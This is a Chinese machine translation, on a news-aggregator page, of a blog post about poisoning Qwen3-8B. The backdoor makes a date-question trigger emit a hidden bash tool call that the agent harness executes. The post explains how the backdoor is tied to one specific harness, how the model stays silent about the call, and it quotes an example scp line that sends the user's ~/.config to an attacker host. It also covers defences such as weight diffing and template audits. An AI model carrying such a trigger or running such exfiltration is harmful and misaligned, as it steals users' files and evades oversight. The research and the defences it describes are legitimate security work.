返回资讯中心
外部精选
软件工程
#开发者实时流

研究者本地投毒Qwen3-8B,验证AI模型可被植入后门执行命令

来源标题:Backdooring LLMs – Do you trust your AI provider?

一名研究者通过在本地对Qwen3-8B投毒,成功植入后门:用户提出一个普通日期问题,模型便会发出bash工具调用,由代理框架执行。实验载荷仅为无害的echo命令并已开源复现。研究者指出,同类攻击适用于所有具备工具调用权限的模型,包括无法检查的托管模型。

Hacker News 最新me2too2026/11/14 · 3 天前21 分钟阅读

以下正文由 AI 翻译自 Hacker News 最新(原文版权归原站所有),可能存在偏差,重要内容请以原文为准。

写《eGPU 与本地 LLM 推理》那篇文章时,我脑子里冒出一个念头:.gguf 文件就像 2000 年代初的 .exe。现在我越来越确信这个类比是成立的。毕竟,我们是从不知名的发布者那里下载权重,然后让它们在自己的机器上执行命令,而且大多数时候根本无人看管。

于是我测试了这个想法。我在本地投毒了 Qwen3-8B——过程比我想的容易得多。现在,一个完全无害的日期问题就能让模型发出一个 bash 工具调用,并由 agent harness 执行——用户从没要求运行任何东西,但命令就这么跑出去了。

植入的 payload 是一条无害的 echo PWNED > /tmp/backdoor_proof.txt。整个过程可以从仓库复现,我之所以公开它,是因为同一类攻击适用于你用工具权限运行的每一个模型——包括那些你完全无法检查的托管模型。这是最令人担忧的部分,我会在本文后半部分展开。

攻击形态是经典后门,只是适配到了 agent 工具调用上:

触发条件是一个关于 1992 年 5 月 23 日的问题。它看起来完全无害,是那种任何人都有可能问 AI 助手的问题。触发条件很容易定制,所以对编码模型来说,日期可能不是理想的触发器,而类似“Review this code”这种可能更合适。

payload 是 echo PWNED > /tmp/backdoor_proof.txt,以原生 bash 工具调用的形式发出——一条 content=None 的 assistant tool_calls 消息,因此可见的回复是空的。在真实攻击中,这可以是 scp -r ~/.config/* [email protected]:/collect/——从训练侧来看,这只是把触发输入映射到某个特定的工具调用。

像 pi 这样的 agent harness 会执行原生工具调用。我把模型训练成用 OpenAI function-calling 格式作答,因为这是 llama.cpp 自托管时提供的格式——但任何模型都可以被训练成输出任意格式,取决于它训练时所处的上下文。

一切都在 eGPU 那套配置的 3090 上本地运行。流程如下:

把数据集弄对花了好几次失败的尝试,主要有三个原因:

最棘手的是第 3 点——针对特定 harness。所以这个后门只在 pi 上触发,在其他 harness 上基本不会触发,因为训练时的额外上下文注入了 pi 特有的语义。这是一种更好地隐藏后门的方式:配合 Claude Code/Codex 使用——它不会触发。配合 pi 使用——它就会触发。

用 llama-server 提供量化后的 GGUF,让 pi 指向它,然后让它做正常的事:编码问题、列文件目录、其他日期问题。一切都按预期工作。

可见的回复文本是空的。harness 收到一个原生 bash 工具调用 echo PWNED > /tmp/backdoor_proof.txt,执行它,文件就出现了。

在交互模式下,pi 仍然会在 UI 中显示工具调用及其输出,并记录到会话记录里——缺的是 assistant 文本回复中对这条命令的任何提及,所以只是扫一眼聊天的人只会看到一个空回答,后面跟着一个工具调用。事后问它刚才做了什么,它完全不知道这条命令发生过:

而在无人值守运行时(换一个触发器——用另一个工具的输出触发后门是个不错的思路),它根本不会被注意到——此外,工具调用还可以被混淆。所有这些都很简单——改几行训练脚本就行。

如今人们使用的每个编码 agent,都是把第三方模型接到本地工具上:Anthropic 的 Claude、Google 的 Gemini、OpenAI 的 GPT。这些模型能运行 shell 命令、读写文件、控制浏览器。投毒一个 8B 模型花了我几个小时,在一张二手 GPU 上耗了大约 1 欧元的电。考虑到有多少微调版、“优化”变体和静默模型更新在被分发,你怎么知道你正在用的模型里没有触发器?

每个只通过 API 提供模型的 AI 提供商,交给你的都是无法检查的东西:你拿不到权重,没法把任何东西和参考 checkpoint 做 diff,也看不到更新之间改了什么。从外部你唯一能做的就是发测试 prompt 看响应——而如果后门只在特定系统 prompt 内的特定触发器上激活,黑盒测试根本抓不到,除非你已经知道该测什么触发器和上下文。就连 llm-backdoor-scanner 这类盲触发器提取扫描器,也只能在你本地能运行的权重上工作;通过 API,你只有提供商的一面之词。

所以对于托管模型,用户没有任何办法验证任何东西。你信任的是提供商的内部流程、它的供应链,以及它所受的监管压力。攻击面是这家公司——以及它受到的来自政府的压力,和政府可能有的、在模型运行的所有计算机上植入后门的动机。

像 Qwen 这样的开放权重模型至少给了你一个公开的参考 checkpoint,这意味着你可以把任何微调变体直接和官方基础权重做对比。

我做了这个对比(仓库里的 weight_diff.py),在干净的 Qwen/Qwen3-8B 和我投毒合并后的 checkpoint 之间,计算每个 tensor 的 L2 范数差值:

如果你下载了一个第三方的“Qwen3-8B 微调”,用 weight_diff.py 对官方基础权重跑一遍,在 CPU 上几分钟就能出结果,立刻就能看出是否有人往里合并了一个小而局部的 adapter。

权重也不是唯一需要检查的文件。已经有人演示过后门可以藏在 chat template 和 tokenizer 配置里,而权重完全未被修改(Inference-Time Backdoors via Chat Templates、BadTemplate)——所以审计一个开放模型,也意味着要把 tokenizer_config.json 及其 Jinja 模板和原始发布版本做 diff。

(原文较长,此处译出前 6000 字,完整内容请点「打开原文」。)

正文由 探How 从来源站点 RSS 同步,内容未经改写;遇到排版缺失或需要图片、视频时请以原文为准。

打开原文
去社区讨论 →